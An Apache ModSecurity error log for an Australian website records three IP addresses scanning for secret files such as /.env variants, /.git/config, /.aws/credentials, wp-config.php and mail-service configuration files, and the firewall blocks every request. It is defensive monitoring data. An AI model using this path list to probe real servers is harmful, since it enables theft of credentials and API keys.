[Sun Nov 30 03:04:29.957221 2025] [:error] [pid 53977:tid 53995] [client 18.200.191.190:42016] [client 18.200.191.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aStDvaCMKg3RMo8GfKIg8gAAAlA"]
[Sun Nov 30 03:04:31.023996 2025] [:error] [pid 53977:tid 53986] [client 18.200.191.190:42018] [client 18.200.191.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aStDv6CMKg3RMo8GfKIg9wAAAkc"]
[Sun Nov 30 03:04:32.093624 2025] [:error] [pid 33303:tid 33305] [client 18.200.191.190:42026] [client 18.200.191.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/env"] [unique_id "aStDwPvL3Xz3V8uL8l6FNwAAAYA"]
[Sun Nov 30 03:04:33.162015 2025] [:error] [pid 42163:tid 42204] [client 18.200.191.190:42038] [client 18.200.191.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/env.json"] [unique_id "aStDwZnaEs-eGc51wg2icgAAAMk"]
[Sun Nov 30 03:04:34.231544 2025] [:error] [pid 58730:tid 58784] [client 18.200.191.190:42042] [client 18.200.191.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/env.yaml"] [unique_id "aStDwqDQq6rwusUXQKjvCgAAABM"]
[Sun Nov 30 03:04:35.300014 2025] [:error] [pid 33376:tid 33385] [client 18.200.191.190:58372] [client 18.200.191.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/env.yml"] [unique_id "aStDw3px_7viPEhKF36fywAAAgY"]
[Sun Nov 30 03:04:36.372929 2025] [:error] [pid 58730:tid 58781] [client 18.200.191.190:58378] [client 18.200.191.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config"] [unique_id "aStDxKDQq6rwusUXQKjvDwAAABA"]
[Sun Nov 30 03:04:37.444182 2025] [:error] [pid 42163:tid 42216] [client 18.200.191.190:58394] [client 18.200.191.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.json"] [unique_id "aStDxZnaEs-eGc51wg2ieAAAANU"]
[Sun Nov 30 03:04:38.511647 2025] [:error] [pid 33376:tid 33390] [client 18.200.191.190:58408] [client 18.200.191.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.js"] [unique_id "aStDxnpx_7viPEhKF36f0wAAAgs"]
[Sun Nov 30 03:04:39.584078 2025] [:error] [pid 33337:tid 33348] [client 18.200.191.190:58418] [client 18.200.191.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.yaml"] [unique_id "aStDxz7HzFQftKzaJgKCaAAAAcc"]
[Sun Nov 30 03:04:40.653225 2025] [:error] [pid 33376:tid 33397] [client 18.200.191.190:58422] [client 18.200.191.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.yml"] [unique_id "aStDyHpx_7viPEhKF36f1QAAAhI"]
[Sun Nov 30 03:04:41.724508 2025] [:error] [pid 58730:tid 58775] [client 18.200.191.190:58438] [client 18.200.191.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.ini"] [unique_id "aStDyaDQq6rwusUXQKjvEQAAAAo"]
[Sun Nov 30 03:13:21.583451 2025] [:error] [pid 29714:tid 29725] [client 138.197.94.71:52374] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aStF0b76_KNwefuiUY-HvAAAAEk"]
[Sun Nov 30 03:13:24.758512 2025] [:error] [pid 33376:tid 33399] [client 138.197.94.71:35100] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aStF1Hpx_7viPEhKF36hxAAAAhQ"]
[Sun Nov 30 04:10:54.452310 2025] [:error] [pid 44999:tid 45056] [client 35.90.120.27:51928] [client 35.90.120.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aStTTi9uSNEe69uZ9WRlzAAAAVc"]
[Sun Nov 30 04:10:55.267382 2025] [:error] [pid 44843:tid 44905] [client 35.90.120.27:40074] [client 35.90.120.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aStTT7RULm2MqOv1SfmfdgAAAFE"]
[Sun Nov 30 04:10:56.028476 2025] [:error] [pid 44951:tid 44960] [client 35.90.120.27:40082] [client 35.90.120.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aStTUP9n-K61ohCFHy7BOgAAAMc"]
[Sun Nov 30 04:10:56.765239 2025] [:error] [pid 44844:tid 44919] [client 35.90.120.27:40092] [client 35.90.120.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aStTUBkTTwUoGl70YUDbswAAAIQ"]
[Sun Nov 30 04:10:57.506103 2025] [:error] [pid 44844:tid 44931] [client 35.90.120.27:40102] [client 35.90.120.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aStTURkTTwUoGl70YUDbtAAAAJA"]
[Sun Nov 30 04:10:58.250935 2025] [:error] [pid 44999:tid 45043] [client 35.90.120.27:40116] [client 35.90.120.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aStTUi9uSNEe69uZ9WRl0wAAAUo"]
[Sun Nov 30 04:10:58.987833 2025] [:error] [pid 44999:tid 45052] [client 35.90.120.27:40128] [client 35.90.120.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aStTUi9uSNEe69uZ9WRl1QAAAVM"]
[Sun Nov 30 04:11:06.573450 2025] [:error] [pid 44844:tid 44931] [client 35.90.120.27:38492] [client 35.90.120.27] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/config.ini"] [unique_id "aStTWhkTTwUoGl70YUDbwQAAAJA"]
[Sun Nov 30 04:11:08.822038 2025] [:error] [pid 44997:tid 45012] [client 35.90.120.27:38504] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/settings"] [unique_id "aStTXEEh8Lr-TH1KlcnM-wAAAQY"]
[Sun Nov 30 04:11:09.559728 2025] [:error] [pid 44842:tid 44869] [client 35.90.120.27:38520] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/settings.json"] [unique_id "aStTXaFM4fJabGrvKRWMRgAAABI"]
[Sun Nov 30 04:11:10.308120 2025] [:error] [pid 44842:tid 44862] [client 35.90.120.27:38528] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/app.config.js"] [unique_id "aStTXqFM4fJabGrvKRWMSQAAAAs"]
[Sun Nov 30 04:11:11.036938 2025] [:error] [pid 44843:tid 44900] [client 35.90.120.27:38532] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.php"] [unique_id "aStTX7RULm2MqOv1SfmfjAAAAEw"]
[Sun Nov 30 04:11:11.763145 2025] [:error] [pid 44844:tid 44937] [client 35.90.120.27:38536] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aStTXxkTTwUoGl70YUDbxAAAAJY"]
[Sun Nov 30 04:11:12.490257 2025] [:error] [pid 44843:tid 44908] [client 35.90.120.27:38538] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpversion.php"] [unique_id "aStTYLRULm2MqOv1SfmfkAAAAFQ"]
[Sun Nov 30 04:11:13.212317 2025] [:error] [pid 44997:tid 45020] [client 35.90.120.27:38540] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/test.php"] [unique_id "aStTYUEh8Lr-TH1KlcnM_QAAAQ4"]
[Sun Nov 30 04:11:13.941000 2025] [:error] [pid 44842:tid 44861] [client 35.90.120.27:38544] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admin"] [unique_id "aStTYaFM4fJabGrvKRWMUQAAAAo"]
[Sun Nov 30 04:11:14.671204 2025] [:error] [pid 44842:tid 44867] [client 35.90.120.27:43032] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aStTYqFM4fJabGrvKRWMUgAAABA"]
[Sun Nov 30 04:11:15.407379 2025] [:error] [pid 44951:tid 44966] [client 35.90.120.27:43044] [client 35.90.120.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-config.php"] [unique_id "aStTY_9n-K61ohCFHy7BTwAAAM0"]
[Sun Nov 30 04:11:16.141786 2025] [:error] [pid 44842:tid 44871] [client 35.90.120.27:43056] [client 35.90.120.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/composer.json"] [unique_id "aStTZKFM4fJabGrvKRWMUwAAABQ"]
[Sun Nov 30 04:11:16.881257 2025] [:error] [pid 44951:tid 44961] [client 35.90.120.27:43066] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.aws/config"] [unique_id "aStTZP9n-K61ohCFHy7BVQAAAMg"]
[Sun Nov 30 04:11:17.619002 2025] [:error] [pid 44844:tid 44932] [client 35.90.120.27:43078] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.aws/credentials"] [unique_id "aStTZRkTTwUoGl70YUDbzwAAAJE"]
[Sun Nov 30 04:11:18.348272 2025] [:error] [pid 44842:tid 44859] [client 35.90.120.27:43094] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aws/config"] [unique_id "aStTZqFM4fJabGrvKRWMVgAAAAg"]
[Sun Nov 30 04:11:19.084053 2025] [:error] [pid 44999:tid 45047] [client 35.90.120.27:43104] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aws/credentials"] [unique_id "aStTZy9uSNEe69uZ9WRl6gAAAU4"]
[Sun Nov 30 04:11:19.823219 2025] [:error] [pid 44997:tid 45011] [client 35.90.120.27:43118] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aws.json"] [unique_id "aStTZ0Eh8Lr-TH1KlcnNCQAAAQU"]
[Sun Nov 30 04:11:20.559770 2025] [:error] [pid 44844:tid 44924] [client 35.90.120.27:43128] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/credentials"] [unique_id "aStTaBkTTwUoGl70YUDb1QAAAIk"]
[Sun Nov 30 04:11:21.304920 2025] [:error] [pid 44844:tid 44916] [client 35.90.120.27:43136] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/secrets.json"] [unique_id "aStTaRkTTwUoGl70YUDb1gAAAIE"]
[Sun Nov 30 04:11:22.030285 2025] [:error] [pid 44997:tid 45013] [client 35.90.120.27:43152] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/keys.js"] [unique_id "aStTakEh8Lr-TH1KlcnNDwAAAQc"]
[Sun Nov 30 04:11:22.756085 2025] [:error] [pid 44997:tid 45010] [client 35.90.120.27:43154] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aws-keys.js"] [unique_id "aStTakEh8Lr-TH1KlcnNFAAAAQQ"]
[Sun Nov 30 04:11:23.496633 2025] [:error] [pid 44951:tid 44959] [client 35.90.120.27:43170] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mailgun"] [unique_id "aStTa_9n-K61ohCFHy7BXAAAAMY"]
[Sun Nov 30 04:11:24.221247 2025] [:error] [pid 44951:tid 44967] [client 35.90.120.27:43182] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mailgun.json"] [unique_id "aStTbP9n-K61ohCFHy7BXwAAAM4"]
[Sun Nov 30 04:11:24.946245 2025] [:error] [pid 44997:tid 45029] [client 35.90.120.27:38770] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mailgun/config"] [unique_id "aStTbEEh8Lr-TH1KlcnNFQAAARc"]
[Sun Nov 30 04:11:25.676065 2025] [:error] [pid 44843:tid 44901] [client 35.90.120.27:38784] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mailgun.php"] [unique_id "aStTbbRULm2MqOv1SfmfnwAAAE0"]
[Sun Nov 30 04:11:26.413477 2025] [:error] [pid 44844:tid 44923] [client 35.90.120.27:38788] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sendgrid"] [unique_id "aStTbhkTTwUoGl70YUDb4QAAAIg"]
[Sun Nov 30 04:11:27.150451 2025] [:error] [pid 44951:tid 44970] [client 35.90.120.27:38790] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sendgrid.json"] [unique_id "aStTb_9n-K61ohCFHy7BYwAAANE"]
[Sun Nov 30 04:11:27.891093 2025] [:error] [pid 44999:tid 45049] [client 35.90.120.27:38802] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sendgrid/config"] [unique_id "aStTby9uSNEe69uZ9WRl_wAAAVA"]
[Sun Nov 30 04:11:28.625160 2025] [:error] [pid 44997:tid 45013] [client 35.90.120.27:38804] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sendgrid.php"] [unique_id "aStTcEEh8Lr-TH1KlcnNGQAAAQc"]
[Sun Nov 30 04:11:29.366056 2025] [:error] [pid 44951:tid 44960] [client 35.90.120.27:38812] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sendgrid.env"] [unique_id "aStTcf9n-K61ohCFHy7BZQAAAMc"]
[Sun Nov 30 04:11:30.094650 2025] [:error] [pid 44842:tid 44874] [client 35.90.120.27:38824] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/brevo"] [unique_id "aStTcqFM4fJabGrvKRWMawAAABc"]
[Sun Nov 30 04:11:30.826415 2025] [:error] [pid 44951:tid 44958] [client 35.90.120.27:38836] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/brevo.json"] [unique_id "aStTcv9n-K61ohCFHy7BaQAAAMU"]
[Sun Nov 30 04:11:31.559597 2025] [:error] [pid 44844:tid 44917] [client 35.90.120.27:38850] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/brevo/config"] [unique_id "aStTcxkTTwUoGl70YUDb6AAAAII"]
[Sun Nov 30 04:11:32.304984 2025] [:error] [pid 44999:tid 45055] [client 35.90.120.27:38858] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/brevo.php"] [unique_id "aStTdC9uSNEe69uZ9WRmCwAAAVY"]
[Sun Nov 30 04:11:33.038841 2025] [:error] [pid 44842:tid 44854] [client 35.90.120.27:38868] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/php"] [unique_id "aStTdaFM4fJabGrvKRWMbAAAAAM"]
